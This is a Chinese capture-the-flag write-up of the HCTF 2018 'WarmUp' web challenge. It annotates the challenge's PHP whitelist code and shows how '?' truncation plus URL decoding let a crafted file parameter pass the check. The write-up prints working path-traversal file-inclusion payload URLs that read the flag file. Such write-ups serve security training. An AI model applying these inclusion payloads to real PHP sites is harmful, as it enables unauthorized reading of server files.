[HCTF 2018]WarmUp
打开页面 映入眼帘的是一个滑稽图片,直接F12查看源码
看到提示source.php
发现hint.php 打开看到提示,flag在ffffllllaaaagggg
分析一下源码
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) {//白名单列表 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //isset()判断变量是否声明 is_string()判断变量是否是字符串 if (! isset($page) || !is_string($page)) //如果变量声明且为字符串才不会判别为真 { echo "you can't see it"; return false; }//不返回值 if (in_array($page, $whitelist)) { return true; }//白名单判断,是hint或source返回真 /* mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置 mb_strpos (haystack ,needle ) haystack:要被检查的字符串。 needle:要搜索的字符串 */ //?截断 截取page变量从开头到? $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }//白名单检查 $_page = urldecode($page);//url解码 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') );//二次截断 if (in_array($_page, $whitelist)) { return true; }//第三次白名单检查 echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
构建payload: http://d0603608-af1b-437f-a6e5-f0b486c0117d.node3.buuoj.cn/source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg
然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。
接着是一次url解码,将page变量进行一次url解码。
注意
mb_strpos($_page . '?', '?')
这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。
因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。
即http://d0603608-af1b-437f-a6e5-f0b486c0117d.node3.buuoj.cn/source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。